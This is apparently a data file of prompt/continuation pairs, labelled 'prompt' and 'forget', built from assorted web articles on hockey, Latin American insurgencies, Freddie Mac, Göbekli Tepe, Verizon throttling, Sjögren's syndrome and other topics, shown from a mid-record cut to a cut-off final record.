particular, the <link> and <script> elements in the <head> element are analogous to the :require and :import directives of Clojure's ns macro: they tell the runtime to find, fetch, and load the referenced resources. The goal of the Miraj Project is to create a pure Clojure, 100% functional programming model for web application development, including first-class support for defining and using Web Components ( Polymer only for this version). Pass HTML metadata as a Clojure map; Miraj will validate the map against Clojure.spec specifications (which may be found in miraj_spec.clj and miraj/x/ , and then transform it into the appropriate elements in <head>. BigInt and BigDecimal end up looking like Int and Decimal: With a few exceptions, clojure attribute values go through normal Clojure evaluation and then are serialized as strings. You can use expressions as attribute values: Use the Unicode character \\uFEFF, 'ZERO WIDTH NO-BREAK SPACE', to force display of the delimiters without"}
{"prompt": "Gregory Campbell is ready to move on. The Boston Bruins center told reporters following practice at TD Garden that it's a \"realistic possibility\" he could play in Thursday's preaseason game against the Detroit Red Wings. Campbell is recovering from a broken right leg, which he suffered while blocking an Evgeni Malkin slapshot in Game 3 of the Eastern Conference finals. He's been dealing with minor discomfort due to a surgically inserted screw in his right foot. Trainers have to stuff the right amount of foam into Campbell's skate to alleviate it. Him and center Patrice Bergeron have been doing one-on-one", "forget": "battle drills while the rest of the team is doing their own drills at the other end of the ice. Bergeron is progressing as well from his slew of injuries suffered during the Stanley Cup Final. They included a broken rib, torn cartilage, separated shoulder and punctured lung. The 28-year-old remains optimistic that he'll see game action before the start of the regular season. Bergeron, Campbell and defenseman Zdeno Chara are the only players who have been sidelined for preaseason games. JERSEY TUCK FORBIDDEN: The NHL has implemented a new rule, which forbids players from tucking in their jersey into the back of their pants. Rule 9.5 states that \"players are not permitted to tuck their jersey into their pants in such a manner where the top padding of the pant and/or additional body protection (affixed to the pant or affixed to the Player's body) is exposed outside the jersey. The back uniform number must not be covered or obstructed in any fashion by protruding pads or other protective padding.\" Players are going to have to get used to it too. A warning is issued for the first offense. If the player doesn't comply, a minor penalty will be assessed. Bergeron, who naturally tucks in his jersey, doesn't understand the new rule. \"I don't see how that really affects other players,\" Bergeron told CSNNE.com. \"But I'm just going to have to go with it, I guess.\" SVEDBERG STRONG: Bruins goalie Niklas Svedberg had a strong showing in his preseason debut Tuesday night in a 3-2 shootout win over the Washington Capitals at Baltimore Arena. Svedberg split time with Tuukka Rask and stopped 12 of 13 shots he faced during regulation and overtime. He was 6 for 8 in the shootout to help the Bruins improve their preseason mark to 2-0."}
{"prompt": "Because of its status as a major theater for proxy conflicts during the cold war, Latin America has a long history of leftist insurgencies. Over the past two decades, however, these left wing groups largely abandoned armed struggle as a means of gaining power, turning instead to peaceful electoral politics. In some countries they have been immensely successful. Indeed, the current ruling parties of Nicaragua, El Salvador, Brazil, and Uruguay can all trace their roots -- at least in part -- back to guerrilla insurgencies of the 1970s and 80s. Nevertheless, a handful of guerrilla movements persist in the region.", "forget": "The most well-known examples are in Colombia, which is home to the Revolutionary Armed Forces of Colombia (FARC) and the National Army of Liberation (ELN). In Peru, two factions of the Shining Path still carry out deadly attacks on security forces, though the group is not the threat that it was at its peak in the early 1990s. These three are generally cited as the most relevant insurgent groups in Latin America, and they have worked hard to maintain this status. All three have adopted illicit means of obtaining funding, including drug trafficking, bank robbery, kidnapping, and extortion. In this context, the high profile of Mexico\u2019s largely indigenous Zapatista Army of National Liberation (EZLN) is incongruous. Although much of the organization\u2019s social and political work is supported by international and domestic NGOs, the full nature of its funding is unclear. What is clear is that despite rising up in arms in the southern state of Chiapas in 1994 and having since declared sizable parts of southern Mexico autonomous from the government, the EZLN has largely managed to refrain from criminal activity to support itself. When criminal allegations have been leveled against them, such as when the group was suspected of carrying out the kidnapping of Mexican politician Diego Fernandez de Cevallos last year, the Zapatistas have vehemently denied them, and a congressional commission even acknowledged that the kidnapping didn\u2019t fit the Zapatistas\u2019 profile. Their eschewal of crime is due largely to the fact that the EZLN is not a traditional guerrilla army. After their initial uprising in 1994, and the resulting San Andres peace accords in 1996, the group has largely refrained from illegal activity. Instead, they have become more of a grassroots social movement, establishing EZLN-affiliated autonomous communities in Chiapas and attempting to link far-left community organizations throughout the"}
{"prompt": "Last month, we discussed a government report which showed that, much to the chagrin of a few billionaires and a long line of retail investors who bought the proverbial dip, Fannie Mae and Freddie Mac may be destined, by design, by decades of reckless behavior, and by Treasury decree, to be insolvent most of the time. Today, we learned that when it comes to accountability for the executives who helped put the companies in a position whereby receivership became necessary in mid-2008, we can forget about it. In what was billed as a \u201chigh profile\u201d case, the SEC had sought", "forget": "financial and other penalties against three former Freddie Mac executives who allegedly \u201cmisled\u201d investors in 2006 by understating the amount of subprime exposure the GSE had on its books while it was simultaneously still sucking up and packaging bad loans. If the SEC allegations are indeed accurate, it\u2019s probably safe to say that using the term \u201cunderstated\u201d to describe the executives\u2019 misrepresentations is, well, an understatement, because it appears they may have lowballed the figure by a factor of 28. Here\u2019s AP: According to the SEC, Fannie and Freddie misrepresented their exposure to mortgages for borrowers with weak credit in reports, speeches and congressional testimony. The SEC said Freddie told investors in late 2006 that it held between $2 billion and $6 billion of subprime mortgages on its books \u2014 but its actual subprime holdings were actually closer to $141 billion, or 10 percent of its portfolio in 2006, and $244 billion, or 14 percent, by 2008. But all\u2019s well that ends in a catastrophic housing market meltdown apparently because as WSJ notes, everyone seems to have gotten a pretty good deal considering their actions may have contributed mightily to the worst financial crisis since The Great Depression: The civil case, filed in 2011, had alleged that three Freddie executives, including former Chief Executive Officer Richard Syron, knowingly misled investors about the volume of risky mortgages the company purchased as the housing boom came to an end. The SEC had sought financial penalties against the executives and an order barring them from serving as officers and directors at other companies. Instead, the executives agreed for a limited time not to sign certain reports required by chief executives or finance chiefs and to pay a total of $310,000 to a fund meant to compensate defrauded investors. The breakdown of the fees"}
{"prompt": "Excavations being conducted at the ancient city of G\u00f6beklitepe in Turkey have uncovered an ancient pictograph on an obelisk which researchers say could be the earliest known pictograph ever discovered. A pictograph is an image that conveys meaning through its resemblance to a physical object. Such images are most commonly found in pictographic writing, such as hieroglyphics or other characters used by ancient Sumerian and Chinese civilizations. Some non-literate cultures in parts of Africa, South America and Oceania still use them. \u201cThe scene on the obelisk unearthed in G\u00f6beklitepe could be construed as the first pictograph because it depicts an", "forget": "event thematically\u201d explained Director of the \u015eanl\u0131urfa Museum, M\u00fcsl\u00fcm Ercan, to the Hurriyet Daily News . Ercan is leading the excavation at G\u00f6beklitepe. \u201cIt depicts a human head in the wing of a vulture and a headless human body under the stela. There are various figures like cranes and scorpions around this figure. This is the portrayal of a moment; it could be the first example of pictograph. They are not random figures. We see this type of thing portrayal on the walls in 6,000-5,000 B.C. in \u00c7atalh\u00f6y\u00fck [in modern-day western Turkey].\u201d The \u2018Vulture-Stone\u2019. Credit: Alistair Coombs The artifacts discovered in the ancient city have provided information about ancient burial traditions in the area in which bodies were left in the open for raptors such as vultures to consume. According to Mr Ercan, this enabled the soul of the deceased to be carried into the sky. It was called \u201cburial in the sky\u201d and was depicted on the obelisks in G\u00f6beklitepe. Such rituals were conducted in and around the city around 12,000 years ago. Many of the items discovered on the site have not been seen before anywhere else in the world and thus are the first of their kind to be discovered. G\u00f6beklitepe is situated on the top of a hill about 15 kilometres away from Sanliurfa in South-eastern Turkey. The city can be dated back to 10,000 BC and consists of a series of circular and oval shaped structures that were first excavated by Professor Klaus Schmidt supported by the German Archaeological Institute. Schmidt travelled to the site having heard about it from accounts of other previous visits by anthropologists from the University of Chicago and Istanbul University in the 1960\u2019s. Both institutions ignored the site, believing it to be nothing more than a medieval graveyard. Artifacts found"}
{"prompt": "Lenin and the Muslims Most leftists have no idea what to do with Muslims. Should we be empowered as a disenfranchised minority? Should we be forced to adopt \u201cEuropean values\u201d? It\u2019s complicated, but interestingly, the early Soviet Union was remarkably intelligent about this. Just after the Bolshevik revolution, the state used innovative policies to approach the Russian Empire\u2019s brutally oppressed Muslim minorities. Dave Crouch\u2019s The Bolsheviks and Islam is an excellent primer for understanding Moscow\u2019s \u201cMuslim policy\u201d before the rise of Stalin. For all of Lenin\u2019s failings, he appears to have gotten this right. Rather than acting like Islam needed", "forget": "to be crushed, the Bolsheviks recognized the social and economic realities affecting Muslims, and attempted to tailor socialist policy towards those realities. As far back as 1909, Lenin was opposed to separating any member of the working-class from their religion, calling leftists who called for such an abolition \u201cinfant school materialists.\u201d He personally thought that it was political suicide to ask deeply religious people to abandon those beliefs before joining a revolutionary organization such as his own. This later translated into Soviet policy. The Bolsheviks understood that Islam functioned as a national identity for many Soviet Muslims, and that as a result, it was worthy of its right to self-determination. National autonomy was declared, sacred monuments were returned, and Friday was declared the legal day of rest throughout Central Asia. Amazingly, the Bolsheviks even took measures to meet local demands for a Shariah court system. As the Russian Civil War drew to a close in 1922, Islamic courts were opened, and operated alongside Soviet legal institutions. The Soviet Legal Commissariat came to include a Shariah Commission to supervise the dual system, and a number of smaller commissions were also set up to figure out how to make Shariah work alongside the Soviet codes. The balance was uneasy, owing to historical context. Extreme sentences like the removal of limbs were cut out, and \u201cvices\u201d such as alcohol consumption were a bit of a grey area at times. However, the Bolsheviks got the core idea right: Muslims would have the option of a more relevant and culturally accessible legal system, so long as it adapted to the state\u2019s core principles. Similar policies were implemented when it came to education. These experiments basically ended with Stalin. Stalinists began vicious campaigns against Islam, targeting \u201ccrimes against custom,\u201d and veiling in particular. Forced unveiling began"}
{"prompt": "Illustrations by Ben Passmore You probably aren't getting into heaven if you enjoy watching New Japan Pro Wrestling. You are, at some level, sick. That's okay; we live in a sick civilization. I'm sick too. I love watching dudes hurt each other. Let's watch New Japan on AXS TV together. You don't mind if I get comfortable, right? Is it weird that part of why I'm addicted to NJPW is that I barely ever know what's going on? Fat yellow letters fill the screen's bottom third: IWGP JR. TAG CHAMPIONSHIP TIME SPLITTERS BECOME 38th CHAMPION. \"This match,\" the announcer says,", "forget": "\"is the latest in the interminable battle between Chaos and the Sakuraba Gund.\" Duly noted. The bouts on a given episode come from different years; they're highlights cherry-picked from intricately bracketed Cups and Tournaments, the structures of which remain obscure. And now, a commercial break. \"I'm... Gregg Allman.\" Gregg Allman says, in a tone that suggests he might not have been yesterday, \"and you're watching (pause) AXS TV.\" Read More: In Search of My Childhood Wrestling Heroes We're back! Cheesy computer-smoke blows in from both sides behind the NJPW logo and triumphant electric guitar fades into driving synth. A battered wrestler peers into the camera through a sunset of facial bruises; his upper and bottom lips are both split. \"I will never let anyone speak lightly of Super Junior,\" he assures us via subtitle. Is that a division, then? Not a person, tag team or faction? Who fucking cares? After no more than thirty seconds of elliptical promo, we're in the ring, inside \"Bodymaker Colosseum, formerly known as Osaka Prefectural Gymnasium,\" to watch a wrestler named Vampire Chicken get massacred. Some in the audience are wearing surgical masks. There is a shirtless man pacing ringside, presumably invested in the match's outcome, though his presence is not remarked upon. He's wearing a gigantic headpiece reminiscent of Sauron's battle helmet. It looks like a haunted castle is growing out of his shoulders. The outlook is grim for haggard old Vampire Chicken. He is facing a pretty boy hero wrestler with Masters of the Universe musculature, blonde-streaked boy-band hair, and a surgically idealized face. Above a lantern jaw, the hero's cheeks are round as a Cabbage Patch Kid's. His artificially plumped cherry-red cupid's bow lips smile, revealing luminous teeth. His face is uncannily ageless. Without changing expression, he kicks Vampire Chicken in the"}
{"prompt": "God is in the details. So they say. Words I tend to live by. My next two posts will be a reflection on exactly that. I have talked before about my biggest struggle in doing a show like this, where the Costume team has an opportunity to create such elaborate, detailed pieces, is hearing viewers say, \u201cwhen do we see that costume?\u201d. WE SAW IT!!!! Three episodes ago! But you actually didn\u2019t. The actor never got up from the table, we never saw them from the back, there was never a head to toe shot (almost never), it is too", "forget": "dark to see it if they did, etc. I often threaten to abandon the details. \u201cWhat is the point? \u201d I ask. \u201cWhy should my team bleed over these costumes for months, if we are never going to see them?!?! Don\u2019t we want the audience to SEE this alien world??\u201d But I do get it. The show cannot add hours to loving close ups on buttons or pocket details. There is an awful lot of story to get into a 13 hours of television and every minute is precious. I also believe that even if we don\u2019t see the details, we feel them. They are their subliminally (is that a word?), they help the audience to believe that the world is real, and they absolutely help the actor to feel the character. God IS in the details. But I am a mere human, and I struggle. So I created my own art gallery, to celebrate the details. My work, the work of my team. I am an atheist, after all. Let\u2019s start with one of my favourite costumes this season. Annalise at Versailles. I love this costume. It is as close a reproduction as I could make of this costume. I try to pepper the show with reproductions. Not only does it add authenticity, but it validates various choices. this particular costume is about detail, but very importantly about color. This supports our choice to use a different palette in S2 than everyone expects. These are not the pastel, bon bon colours that come later in the 18th century. The colors of the mid 18th are much deeper and richer. Our story is just one King before the ears of Marie Antoinette that everyone associates with the 18th century. This is a Casaquain from the Palais Galliera, mus\u00e9e de la"}
{"prompt": "Ever want to put your old clothes to use, but are sick of just dropping off piles and piles of fabric to Goodwill and calling it a day, not knowing where any of it is actually going? Enter Cotton Incorporated's Blue Jeans Go Green Program, which has fulfilled its goal of gathering 10,000 denim items and using it all as insulation for 10 homes that were put up in the New Orleans Area Habitat For Humanity. I've got to say \u2014 it's probably one of the trendiest initiatives. To start off, AnnaSophia Robb was one of the volunteers at the", "forget": "Habitat For Humanity Build-a-Thon in May in the New Orleans area. Robb herself gave Karen Walter a key to her new home. Robb worked with over 600 other AmeriCorps and various other volunteers from May 20 to May 30, according to WWD. As if it couldn't get cooler, most of the denim pieces were collected in bins located in Madewell stores. People all over the U.S. dropped their items off at store locations, as well as mailed them in. After collected, the denim pieces were converted into \"UltraTouch Denim Insulation\" by Bonded Logic Inc., their manufacturing partner. Pretty cool. Reminiscent of Pharrell's partnership with G-Star Raw called \"Raw for the Oceans\" that focused on turning plastic caught in the ocean into fiber, and then using that fiber to make clothing. Another win that Cotton Inc. mentioned was that over the past 40 years, pesticide applications have reduced by 50 percent by cotton growers, according to WWD. Which has also meant a reduction in irrigation water applications. This wonderful movement \"brings the environmental gains cotton growers have made in the field and takes them full circle by diverting textiles from landfills and helping to rebuild communities,\" says WWD. The program, alive since 2006, has produced a significant amount of insulation for Habitat for Humanity affiliates. Since its conception, the movement has collected more than one million pieces of denim from landfills and has created approximately two million square feet of insulation, according to WWD. Andrea Samber, co-director of Strategic Alliances at Cotton Inc. told WWD, \u201cThe average consumer owns seven pairs of jeans. Giving just one of them to the recycling drive can make a big difference in a family\u2019s life.\u201d Next time you go through your closet, consider donating to this initiative, cause it's a pretty sweet one. Donate a"}
{"prompt": "Dutch prime minister Mark Rutte has described as \u2018disgusting\u2019 pictures of Ukraine rebels digging through the possessions of people killed in the Malaysia plane crash disaster. In a short news conference, Rutte said he had just had a \u2018very intense\u2019 phone call with Russian president Vladimir Putin. \u2018I told him \u201ctime is running out for you to show the world that you have good intentions, that you will take responsibility\u201d,\u2019 Rutte said. Putin now \u2018has to show that he will do what is expected of him and will exert his influence,\u2019 the Dutch prime minister said. \u2018It is 35 degrees", "forget": "there. The bodies need to be recovered now. I want to see results, unhindered access and the repatriation of the victims.\u2019 Personal The phone conversation with Putin was \u2018very personal\u2019, the Dutch prime minister said. \u2018I think the entire Dutch population knows people who directly or indirectly know someone who was on board. There were 80 people under the age of 18, of whom 23 were under the age of 12 and three were babies. It is too terrible for words.\u2019 Images of rebels holding up children\u2019s toys were \u2018too disgusting for words\u2019, Rutte said. Such action is also hindering the investigation into the crash, he said. Investigators Earlier on Saturday, Dutch foreign minister Frans Timmermans met Ukrainian president Petro Poroshenko in Kiev and told him the Netherlands was \u2018angry, furious\u2019 at the news that bodies were being dragged around the crash site, Reuters said. \u2018Once we have the proof, we will not stop before the people are brought to justice. Not just the people who pulled the trigger but also those who made it possible. I think the international community needs to step up its efforts in this respect,\u2019 Reuters quoted Timmermans as saying. According to Dutch broadcaster Nos, Poroschenko in turn told Timmermans it is unacceptable that international experts are being denied access to the disaster zone. \u2018We will not tolerate interference with the work of the commission and that those representatives of other countries do not have the possibility of conducting an objective investigation,\u2019 Poroshenko is quoted as saying. Denials However, the separatists deny interfering, Nos television reports. It quotes \u2018one of their commanders\u2019 as saying they have promised the OSCE that they will not touch bodies or the remains of the plane. As well as the Dutch, Malaysian and Ukrainian researchers have arrived in the region"}
{"prompt": "According to droid-life, Verizon will begin throttling 4G LTE customers on unlimited data plans starting on October 1, 2014. Before this change, Verizon only throttled 3G connections of those with unlimited data plans. Verizon likes to dress up this as \u201cNetwork Optimization\u201d which according to them means that a customer will only be throttled if: Top 5% of data users (you use 4.7GB of data per month or more) Enrolled on an unlimited data plan or feature Have fulfilled their minimum contract term Are attempting to use data on a cell site that is experiencing high demand As droid-life points", "forget": "out, as of March 2014, you are in the top 5% if you use 4.7GB of data per month. Not to worry though as Verizon is willing to help those in this top 5%. Just move to their MORE Everything plans! Or stop using the Verizon service and switch to Wi-fi. Droid-Life Verizon is therefore making another push to get users off unlimited data plans and onto usage-based pricing plans. Verizon makes more money when a customer is on their MORE Everything plans. Verizon pretty much says that in the FAQ by giving customers the option to move to usage plans with no throttling. Additionally, Verizon is admitting that unlimited data plans include magic data. If you are on an unlimited data plan and use 10GB, you will be throttled at the halfway point. But, if you are on a MORE Everything plan with 10GB of data, you can use 10GB without any throttling whatsoever. Magic! Although Verizon would respond to this by claiming that a customer in the top 5% must be by a congested node, there are already a number of people who question whether Verizon is properly throttling people JUST in congested node areas. Also, will Verizon ever let the public in on how many of its cell sites it deems as \u201ccongested\u201d and at what times that congestion is most likely to occur? Dating back to 2010, Verizon has made it clear that they want the ability to find the heaviest users (\u2018abusers\u2019 as they call them) so that they can throttle them and charge them even more. Will Verizon ever actually show when a certain amount of data slows down their network? Of course not. Remember, data on unlimited plans slow down the network while data on tiered plans have no effect on the network."}
{"prompt": "Abstract Objectives. To determine the spectrum of personality and psychopathology features of patients with primary SS (pSS) and explore whether they are linked to disease characteristics as well as the presence of autoantibodies (autoAbs) against neuropeptides. Methods. Personality and psychopathological variables were determined in 103 pSS patients and 110 healthy controls (HCs). AutoAbs against hypothalamic and pituitary neuropeptides were measured by ELISA in 25 pSS patients and 25 HCs. Data analysis was performed by univariate and multivariate logistic regression models and by comparison with regression models. Results. A higher number of pSS patients reported distinct personality traits (neuroticism, psychoticism and", "forget": "obsessiveness) and psychological distress compared with HCs. After adjustment for personality characteristics and demographics, only hypochondriasis was the main psychopathology feature associated with pSS, suggesting that psychopathological manifestations in the setting of pSS are primarily dependent on premorbid personality characteristics. Although no differences were detected between serum levels of neuropeptide autoAbs in pSS cases and controls, levels of autoAbs against \u03b1-melanocyte-stimulating hormone (\u03b1-MSH) correlated with anxiety scores in both groups examined but with higher intercept in pSS subjects. Significant correlations between anxiety score and autoAbs directed against oxytocin and vasopressin were also detected in the pSS patients. Conclusions. pSS patients exhibit a distinct pattern of personality traits and high levels of psychological distress compared with HCs, which seems to be determined by premorbid personality characteristics. Correlations between anxiety and \u03b1-MSH autoAbs suggest their potential involvement in anxiety development in both pSS and HCs. Introduction SS is a chronic autoimmune disorder characterized by lymphocytic infiltration of salivary and lacrimal glands, leading to oral and ocular dryness. SS can occur either alone [primary SS (pSS)] or in the context of an underlying CTD (secondary SS). Although the exact pathogenesis of the disease remains largely unknown, genetic, viral, hormonal and environmental factors have been so far implicated. SS is characterized either by local (glandular) or systemic involvement manifested among others with pulmonary, renal and neuropsychiatric features [1]. Psychiatric involvement in pSS is well recognized. Atypical depression, anxiety disorders and psychotic features have been previously reported [2\u201310]. The chronic nature of the disorder as well as the risk of lymphoma development in a subset of these patients [11] might represent important risk factors for psychopathological complications. Our previous work has demonstrated a dysfunctional stress-coping style in pSS patients, as well as a possible implication of stressful life events as a trigger for disease onset"}
{"prompt": "Emperor Konoe (\u8fd1\u885b\u5929\u7687, Konoe-tenn\u014d, June 16, 1139 \u2013 August 22, 1155) was the 76th emperor of Japan,[1] according to the traditional order of succession.[2] Konoe's reign spanned the years from 1142 through 1155.[3] Genealogy [ edit ] Before his ascension to the Chrysanthemum Throne, his personal name (his imina)[4] was Narihito-shinn\u014d (\u4f53\u4ec1\u89aa\u738b).[5] He was also known as Tosihito-shinn\u014d.[6] Emperor Konoe was the eighth son of Emperor Toba.[6] His mother was Fujiwara no Nariko (1117\u20131160), the wife of Emperor Toba. [7] Ch\u016bg\u016b: Fujiwara no Shimeko (\u85e4\u539f\u5448\u5b50) later Kuj\u014d-in (\u4e5d\u6761\u9662), Fujiwara no Koremichi\u2019s daughter and Fujiwara no Tadamichi\u2019s adopted daughter. Events of", "forget": "Konoe's life [ edit ] Konoe was named heir shortly after he was born in 1139; and he was proclaimed emperor at the age of 3. Eiji 1 , in the 3rd month (1141): The former emperor Toba accepted the tonsure and became a Buddhist monk at the age of 39 years. [8] , in the 3rd month (1141): The former emperor Toba accepted the tonsure and became a Buddhist monk at the age of 39 years. Eiji 1, on the 7th day of the 12th month (\u6c38\u6cbb\u5143\u5e74; 1141): In the 18th year of Sutoku-tenn\u014d's reign (\u5d07\u5fb3\u5929\u7687\u5341\u516b\u5e74), the emperor abdicated; and the succession (senso) was received by a younger brother, the 8th son of former Emperor Toba. Shortly thereafter, Emperor Konoe is said to have acceded to the throne (sokui).[9] At that time, the Kampaku Fujiwara-no Tadamichi became Sessh\u014d or regent. The Cloistered Emperor Toba continued to direct all the affairs of government, while the retired Emperor Sutoku had no powers. This conflict resulted in many controversies during Konoe's reign.[6] K\u014dji 2 , in the 1st month (1143): Cloistered Emperor Toba-in, now known by the title Daij\u014d H\u014d\u014d or H\u014d\u014d (\u592a\u4e0a\u6cd5\u7687), visited his mother. [6] , in the 1st month (1143): Cloistered Emperor Toba-in, now known by the title or (\u592a\u4e0a\u6cd5\u7687), visited his mother. K\u014dji 2 , in the 5th month (1143): Konoe passed his days praying at T\u014ddai-ji and also at the temples on Mount Hiei. [6] , in the 5th month (1143): Konoe passed his days praying at T\u014ddai-ji and also at the temples on Mount Hiei. Ten'y\u014d gannen or Ten'y\u014d 1 , in the 7th month (1145): A comet was sighted in the sky; and for this reason, the name of the neng\u014d was changed to Ky\u016ban . [6] or , in the 7th month (1145): A"}
{"prompt": "Silence on human rights encourages despots, discourages activists. President Trump and Egyptian President Abdel Fattah al-Sisi on April 3, 2017. (Photo11: Brendan Smialowski, AFP/Getty Images) To the extent that the Trump administration's foreign policy has started to take shape \u2014 and it seems to be a work in progress \u2014 advocacy of human rights and democracy doesn't seem to be very high on the agenda. If anything, Trump's \"America First\" foreign policy is looking more like a sort of realpolitik, where ethical and moral considerations are shed in favor of achieving transactional \"wins\" on jobs and security. The president seems", "forget": "drawn to autocrats and cynical about promoting cherished American ideals. Asked in February about Russian President Vladimir Putin's reputation for ordering political killings, Trump didn't miss a beat: \"Do you think our country is so innocent?\" Last month, the administration lifted human rights conditions on the sale of F-16 fighters to Bahrain, where political dissidents are locked up without due process. And the annual State Department report on global human rights was issued without fanfare or the usual news conference. This week, Trump gushed about Egyptian strongman Abdel Fattah al-Sisi when the two met at the White House. Sisi overthrew his democratically elected predecessor in 2013 and has brutally cracked down on political dissent, a sure route to fomenting more violent extremism. \"He's done a fantastic job in a very difficult situation,\" Trump said, vigorously shaking Sisi's hand, something he didn't do with German Chancellor Angela Merkel, a staunch ally, two weeks earlier. It's true, as the foreign policy realists like to point out, that America can't right every wrong in the world. Trump needn't go as far as President George W. Bush, whose grandiose vision of bringing democracy to the Middle East, by military invasion if necessary, led to the fiasco in Iraq. Or even as far as President Carter, who made human rights a cornerstone of his foreign policy. But there\u2019s nothing wrong with private nudges, public rhetoric and material incentives to make clear America stands for basic freedoms. There\u2019s no reason to cede the moral high ground and every reason to try to hold it. Silence on human rights discourages the pro-democracy activists who put their lives on the line for the rights Americans take for granted \u2014 and encourages the bad actors such as Putin and Syrian President Bashar Assad. As Sen. Marco Rubio, R-Fla., said"}
{"prompt": "Uber is having a hard time finding enough people with cars willing to work for them. To solve that problem, the company has raised $1 billion to start Xchange Leasing, a sub-prime lender with the sole purpose of getting poor people into new cars so they can drive for the ride-hailing service. If you've got a license and are willing to drive, Uber will hook you up with a new car, no matter how bad your credit. To make sure you make your payments, though, Uber will automatically deduct them weekly from what you earn as a driver. If you", "forget": "don't drive enough, or you fail to make your lease payment, Xchange has folks to take the car back. As for the terms, well, here's what Mark Williams, a lecturer at Boston University's business school told Bloomberg News: \"The terms, the way they're proposed, are predatory and are very much driven toward profiting off drivers.\" Uber, which is now valued at $62.5 billion, can only make money if tens of thousands of people sign up as drivers. That's because 50 percent of Uber drivers quit after just six months. Xchange wants to address that by striking deals with automakers and Wall Street backers to lease 100,000 cars to new Uber drivers. Uber says they are providing a pathway for poor people to buy a new car. Unfortunately, Xchange Leasing sounds more like a payday-loan racket built into a company store. The lease increases the company's control over the driver, who Uber still insists is nothing more than an \"independent\" contractor. How is someone independent when Uber controls access to customers, sets the billing rates, demands a minimum number of hours and owns the car and the predatory lease on it? Some amoral, Ayn Rand-loving sociopaths in Silicon Valley will insist that drivers should know what they are doing when they sign up. After all, the terms of service are sufficiently explanatory. But here's the truth about human beings: not all of us are equally-well educated, and not everyone understands lease terms. We know from exploitative lending practices throughout history that poor people are the most likely to be suckered, often because they are so desperate to escape poverty that they will try almost anything. Uber initially claimed to be part of the \"sharing\" economy, a marketing term that masks the unsavory nature of these exploitative business plans. But as we"}
{"prompt": "The family of Egyptian business tycoon Salah Diab used a corporate network made of Egyptian and offshore companies to sign agreements and strike deals with the Egyptian government, according to the second wave of Panama Papers released worldwide on Monday. Asawatmasriya joins international media platforms publishing this second wave of The Panama Papers which is an unprecedented investigation that reveals the offshore links of some of the globe\u2019s most prominent figures. The second wave focuses on uncovering Africa offshore empires. The International Consortium of Investigative Journalists (ICIJ), together with the German newspaper Suddeutsche Zeitung and more than 100 other media", "forget": "partners, spent a year sifting through 11.5 million leaked files to expose the offshore holdings of world political leaders, links to global scandals, and details of the hidden financial dealings of fraudsters, drug traffickers, billionaires, celebrities, sports stars and more. The trove of documents is likely the biggest leak of inside information in history. It includes nearly 40 years of data from a little-known but powerful law firm based in Panama. That firm, Mossack Fonseca, has offices in more than 35 locations around the globe, and is one of the world\u2019s top creators of shell companies, corporate structures that can be used to hide ownership of assets. Leaked data obtained by ICIJ reveal agreements involving the petroleum sector in Egypt. One of the agreements between Pico International Petroleum a subsidiary of Egypt\u2019s Pico Group, and the Egyptian government concerned millions in development costs for the lucrative Al-Amal Petroleum Field located in the Gulf of Suez. Tawifk Diab. Photo from his official Facebook account Several partners were part of this deal: the national oil company Egyptian General Petroleum Company (EGPC), Greystone and Pico International. Both Greystone and Pico Group are owned by the Diab family. Greystone is registered in the British Virgin Islands (BVI) while Pico is registered as an Egyptian company. The project involves the expansion and the development of an onshore processing plant. Certificate of incorporation of Greystone Petroleum (Egypt) Limited. The Egyptian government claimed to be unaware of the offshore activities involved in the agreement. When asked about these deals and the related documents, Tarek Al Hadidy, EGPC\u2019s head said: \u201cWe have a concession agreement with them and they are committed to it. We don't know anything about the offshore activities of Pico International Petroleum & Greystone. My company [EGPC] is paying the taxes for Al-Amal field and"}
{"prompt": "Is Vincent Gray going to run for D.C. mayor? Should he run? If he does, can he win? As to the first question, only Gray knows. Early signs suggest he would like to make a bid for the job he lost April 1, 2014, when now-Mayor Muriel E. Bowser defeated him in the Democratic primary. This much is known: Gray has been taking soundings around town, testing the mood of the city, gauging voter interest. Gray, who represents Ward 7 on the D.C. Council, reportedly has already assembled a skeletal crew that is poised to blossom into full election- \u00adcampaign", "forget": "mode if he gives a green light. It's a tossup at this point. Look for a decision at the beginning of the year, six months before the June 19 primary election. \"Should he run?\" calls for an entirely different assessment. Gray, 75, is still smarting from the voters' rejection of his reelection bid. He lays his loss at the feet of Bowser and then-U.S. Attorney Ronald C. Machen Jr., who, with much fanfare, launched a corruption probe into Gray's 2010 mayoral election campaign. Two years before the April 2014 election, then-Ward 4 council member Bowser was one of three lawmakers to call for Gray to resign because of Machen's probe. The investigation dragged on for three years. The political roof fell in on Gray when D.C. businessman Jeffrey E. Thompson entered federal court on March 10, 2014, and pleaded guilty to illegally giving more than $2 million to Gray's 2010 campaign. Thompson said Gray knew about that \"shadow campaign.\" The media took it from there. A March 10 Post headline screamed: \"Gray knew of 'shadow campaign,' Thompson prosecutors say; mayor says it's all a lie.\" Other news organizations followed suit with headlines and extended coverage of their own. That same month, Bowser said at a debate, \"I found out that [Gray] didn't actually win the Democratic primary [in 2010 against Mayor Adrian M. Fenty] fair and square, so . . . I could not support somebody who would be almost indicted.\" There stood Gray, three weeks before the April 1 primary: uncharged, but publicly accused of involvement in unlawful behavior, with no opportunity to confront his accusers or review the evidence against him in a court of law. Instead, he found himself in the court of public opinion. It was no contest on primary Election Day 2014. A year later,"}
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{"prompt": "BOSTON \u2013 The Boston Celtics have compiled a 4-1 record to begin the month of March, helping them crawl up standings to the sixth seed in the East. Those five games have featured some great, some mediocre, and some not-so-great performances by the team. The same can be said for Boston\u2019s individual players, who have had varying levels of effectiveness during this recent hot streak. We take a look today at the players who have been at both ends of the Hot-or-Not spectrum during March\u2019s five games. Each player\u2019s averages and shot chart below are for the five games he", "forget": "has participated in this month. 20.8 7.6 5.6 Paul Pierce PPG RPG APG HOT - Paul Pierce Save for LeBron James and Kobe Bryant, who are currently playing at otherworldly levels, Paul Pierce might be the hottest basketball player on Earth. Pierce is having his best offensive month of the season, and it\u2019s not even close. Boston\u2019s captain is putting up 20.8 points per game this month thanks to some phenomenal shooting numbers. Pierce has hit 51.5 percent of his shots and 52.2 percent of his 3-pointers in March. How great are those numbers? His previous top overall shooting month this season was December, when he hit 44.1 percent of his shots. His previous top 3-point shooting month was February, when he hit 40 percent of his treys. As you can see in the image to the right, Pierce is excelling from the wings and from beyond the arc. He has hit 11 of his 20 3-pointers from the wings this month. Pierce is also getting to the basket with ease, as 35.3 percent of his shots have been taken around the basket. On top of the efficient and abundant scoring, Pierce is also hauling in 7.6 rebounds per game and dishing out 5.6 assists per game. Yeah, his turnovers may be up a bit to 4.0 per game, but that\u2019s because the ball is in his hands more often than not. 12.8 3.0 4.0 Avery Bradley PPG RPG APG HOT 